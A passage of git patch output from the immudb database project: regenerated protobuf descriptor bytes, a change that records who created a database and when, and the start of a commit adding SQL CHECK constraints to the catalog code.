0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, 0x55, 0x6e, + 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, - 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, - 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, - 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, - 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, - 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, - 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, - 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, - 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, - 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, - 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, - 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, - 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, - 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, - 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, - 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, - 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, + 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, + 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, + 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, + 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, + 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, + 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, + 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, + 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, + 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, + 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, + 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, + 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, + 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, + 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index bf6811f3e2..50da7a8828 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1378,6 +1378,12 @@ message DatabaseInfo { // total number of transactions uint64 numTransactions = 5; + + // the time when the db was created + uint64 created_at = 6; + + // the user who created the database + string created_by = 7; } message Chunk { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index e726c20157..f395e4658c 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2087,6 +2087,15 @@ "type": "string", "format": "uint64", "title": "total number of transactions" + }, + "created_at": { + "type": "string", + "format": "uint64", + "title": "the time when the db was created" + }, + "created_by": { + "type": "string", + "title": "the user who created the database" } } }, diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index dd0de66a63..85fbe8f86e 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -131,10 +131,12 @@ type ahtOptions struct { WriteBufferSize int `json:"writeBufferSize"` } -const DefaultMaxValueLen = 1 << 25 //32Mb -const DefaultStoreFileSize = 1 << 29 //512Mb +const ( + DefaultMaxValueLen = 1 << 25 //32Mb + DefaultStoreFileSize = 1 << 29 //512Mb +) -func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { +func (s *ImmuServer) defaultDBOptions(dbName, userName string) *dbOptions { dbOpts := &dbOptions{ Database: dbName, @@ -170,6 +172,7 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { Autoload: unspecifiedState, CreatedAt: time.Now(), + CreatedBy: userName, TruncationFrequency: Milliseconds(database.DefaultTruncationFrequency.Milliseconds()), } @@ -862,14 +865,14 @@ func (s *ImmuServer) deleteDBOptionsFor(db string) error { func (s *ImmuServer) loadDBOptions(database string, createIfNotExists bool) (*dbOptions, error) { if database == s.Options.systemAdminDBName || database == s.Options.defaultDBName { - return s.defaultDBOptions(database), nil + return s.defaultDBOptions(database, s.Options.systemAdminDBName), nil } optionsKey := make([]byte, 1+len(database)) optionsKey[0] = KeyPrefixDBSettings copy(optionsKey[1:], []byte(database)) - options := s.defaultDBOptions(database) + options := s.defaultDBOptions(database, "") e, err := s.sysDB.Get(context.Background(), &schema.KeyRequest{Key: optionsKey}) if errors.Is(err, store.ErrKeyNotFound) && createIfNotExists { diff --git a/pkg/server/db_options_test.go b/pkg/server/db_options_test.go index e9c1c063af..d0cd023689 100644 --- a/pkg/server/db_options_test.go +++ b/pkg/server/db_options_test.go @@ -29,7 +29,7 @@ func TestDefaultOptions(t *testing.T) { s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() - opts := s.defaultDBOptions("db1") + opts := s.defaultDBOptions("db1", "user") require.NoError(t, opts.Validate()) @@ -43,7 +43,7 @@ func TestReplicaOptions(t *testing.T) { s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() - opts := s.defaultDBOptions("db1") + opts := s.defaultDBOptions("db1", "user") opts.Replica = true @@ -69,7 +69,7 @@ func TestPrimaryOptions(t *testing.T) { s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() - opts := s.defaultDBOptions("db1") + opts := s.defaultDBOptions("db1", "user") opts.Replica = false diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 1c7c0534ed..344068f992 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -471,7 +471,7 @@ func testAppendableIsUploadedToRemoteStorage(t *testing.T) (string, remotestorag s.remoteStorage = memory.Open() - stOpts := s.databaseOptionsFrom(s.defaultDBOptions("testdb")).GetStoreOptions().WithEmbeddedValues(false) + stOpts := s.databaseOptionsFrom(s.defaultDBOptions("testdb", "")).GetStoreOptions().WithEmbeddedValues(false) path := filepath.Join(dir, "testdb") st, err := store.Open(path, stOpts) diff --git a/pkg/server/server.go b/pkg/server/server.go index c91483b7d4..81ec61e6ff 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -966,7 +966,7 @@ func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDat s.dbListMutex.Lock() defer s.dbListMutex.Unlock() - //check if database exists + // check if database exists if s.dbList.GetId(req.Name) >= 0 { if !req.IfNotExists { return nil, database.ErrDatabaseAlreadyExists @@ -984,7 +984,7 @@ func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDat }, nil } - dbOpts := s.defaultDBOptions(req.Name) + dbOpts := s.defaultDBOptions(req.Name, user.Username) if req.Settings != nil { err = s.overwriteWith(dbOpts, req.Settings, false) @@ -1476,6 +1476,8 @@ func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseLis Loaded: !db.IsClosed(), DiskSize: size, NumTransactions: txCount, + CreatedAt: uint64(dbOpts.CreatedAt.Unix()), + CreatedBy: dbOpts.CreatedBy, } resp.Databases = append(resp.Databases, info) } From 7784338e79500db45ff78c6b093905e283359e4a Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 3 Jul 2024 14:54:20 +0200 Subject: [PATCH 1034/1062] Implement CHECK constraints Signed-off-by: Stefano Scafiti --- embedded/document/engine_test.go | 4 +- embedded/sql/catalog.go | 519 ++++++--------- embedded/sql/catalog_test.go | 19 +- embedded/sql/engine.go | 150 +++-- embedded/sql/engine_test.go | 155 ++++- embedded/sql/grouped_row_reader.go | 30 +- embedded/sql/json_type.go | 20 +- embedded/sql/parser.go | 20 +- embedded/sql/parser_test.go | 75 ++- embedded/sql/sql_grammar.y | 36 +- embedded/sql/sql_parser.go | 873 +++++++++++++------------ embedded/sql/stmt.go | 334 +++++++++- embedded/sql/stmt_test.go | 2 +- embedded/sql/type_conversion.go | 5 +- pkg/database/sql.go | 4 +- pkg/database/sql_test.go | 2 +- pkg/pgsql/server/bmessages/data_row.go | 19 +- pkg/pgsql/server/query_machine.go | 4 +- 18 files changed, 1361 insertions(+), 910 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 4be3987a28..cc90c35dd2 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -5,7 +5,7 @@ SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - https://mariadb.com/bsl11/ + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, @@ -1709,7 +1709,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { collectionName, "active", ) - require.ErrorIs(t, err, sql.ErrCantDropIndexedColumn) + require.ErrorIs(t, err, sql.ErrCannotDropColumn) err = engine.DeleteIndex( context.Background(), diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index bb224b2373..f9c3d91210 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -23,7 +23,6 @@ import ( "encoding/json" "errors" "fmt" - "io" "math" "strings" "time" @@ -43,19 +42,26 @@ type Catalog struct { maxTableID uint32 // The maxTableID variable is used to assign unique ids to new tables as they are created. } +type CheckConstraint struct { + id uint32 + name string + exp ValueExp +} + type Table struct { - catalog *Catalog - id uint32 - name string - cols []*Column - colsByID map[uint32]*Column - colsByName map[string]*Column - indexes []*Index - indexesByName map[string]*Index - indexesByColID map[uint32][]*Index - primaryIndex *Index - autoIncrementPK bool - maxPK int64 + catalog *Catalog + id uint32 + name string + cols []*Column + colsByID map[uint32]*Column + colsByName map[string]*Column + indexes []*Index + indexesByName map[string]*Index + indexesByColID map[uint32][]*Index + checkConstraints map[string]CheckConstraint + primaryIndex *Index + autoIncrementPK bool + maxPK int64 maxColID uint32 maxIndexID uint32 @@ -196,7 +202,6 @@ func (t *Table) IsIndexed(colName string) (indexed bool, err error) { if err != nil { return false, err } - return len(t.indexesByColID[col.id]) > 0, nil } @@ -364,7 +369,7 @@ func indexName(tableName string, cols []*Column) string { return buf.String() } -func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, maxColID uint32) (table *Table, err error) { +func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, checkConstraints map[string]CheckConstraint, maxColID uint32) (table *Table, err error) { if len(name) == 0 || len(colsSpec) == 0 { return nil, ErrIllegalArguments } @@ -392,15 +397,16 @@ func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, maxCol } table = &Table{ - id: id, - catalog: catlg, - name: name, - cols: make([]*Column, 0, len(colsSpec)), - colsByID: make(map[uint32]*Column), - colsByName: make(map[string]*Column), - indexesByName: make(map[string]*Index), - indexesByColID: make(map[uint32][]*Index), - maxColID: maxColID, + id: id, + catalog: catlg, + name: name, + cols: make([]*Column, 0, len(colsSpec)), + colsByID: make(map[uint32]*Column), + colsByName: make(map[string]*Column), + indexesByName: make(map[string]*Index), + indexesByColID: make(map[uint32][]*Index), + checkConstraints: checkConstraints, + maxColID: maxColID, } for id := uint32(1); id <= maxColID; id++ { @@ -631,7 +637,7 @@ func (t *Table) deleteColumn(col *Column) error { } if isIndexed { - return fmt.Errorf("%w (%s)", ErrCantDropIndexedColumn, col.colName) + return fmt.Errorf("%w %s because one or more indexes require it", ErrCannotDropColumn, col.colName) } newCols := make([]*Column, 0, len(t.cols)-1) @@ -649,6 +655,16 @@ func (t *Table) deleteColumn(col *Column) error { return nil } +func (t *Table) deleteCheck(name string) (uint32, error) { + c, exists := t.checkConstraints[name] + if !exists { + return 0, fmt.Errorf("%s.%s: %w", t.name, name, ErrConstraintNotFound) + } + + delete(t.checkConstraints, name) + return c.id, nil +} + func (t *Table) deleteIndex(index *Index) error { if index.IsPrimary() { return fmt.Errorf("%w: primary key index can NOT be deleted", ErrIllegalArguments) @@ -724,55 +740,38 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { } func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)), - } + return catlg.loadCatalog(ctx, tx, false) +} - tableReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer tableReader.Close() +func (catlg *Catalog) loadCatalog(ctx context.Context, tx *store.OngoingTx, copyToTx bool) error { + prefix := MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)) - for { - mkey, vref, err := tableReader.Read(ctx) - if errors.Is(err, store.ErrNoMoreEntries) { - break - } - if err != nil { - return err - } - - dbID, tableID, err := unmapTableID(catlg.enginePrefix, mkey) + return iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { + dbID, tableID, err := unmapTableID(catlg.enginePrefix, key) if err != nil { return err } - if dbID != 1 { + if dbID != DatabaseID { return ErrCorruptedData } - // Retrieve the key-value metadata (KVMetadata) of the current version reference (vref). - // If the metadata is not nil and the "Deleted" flag of the metadata is set to true, - // increment the 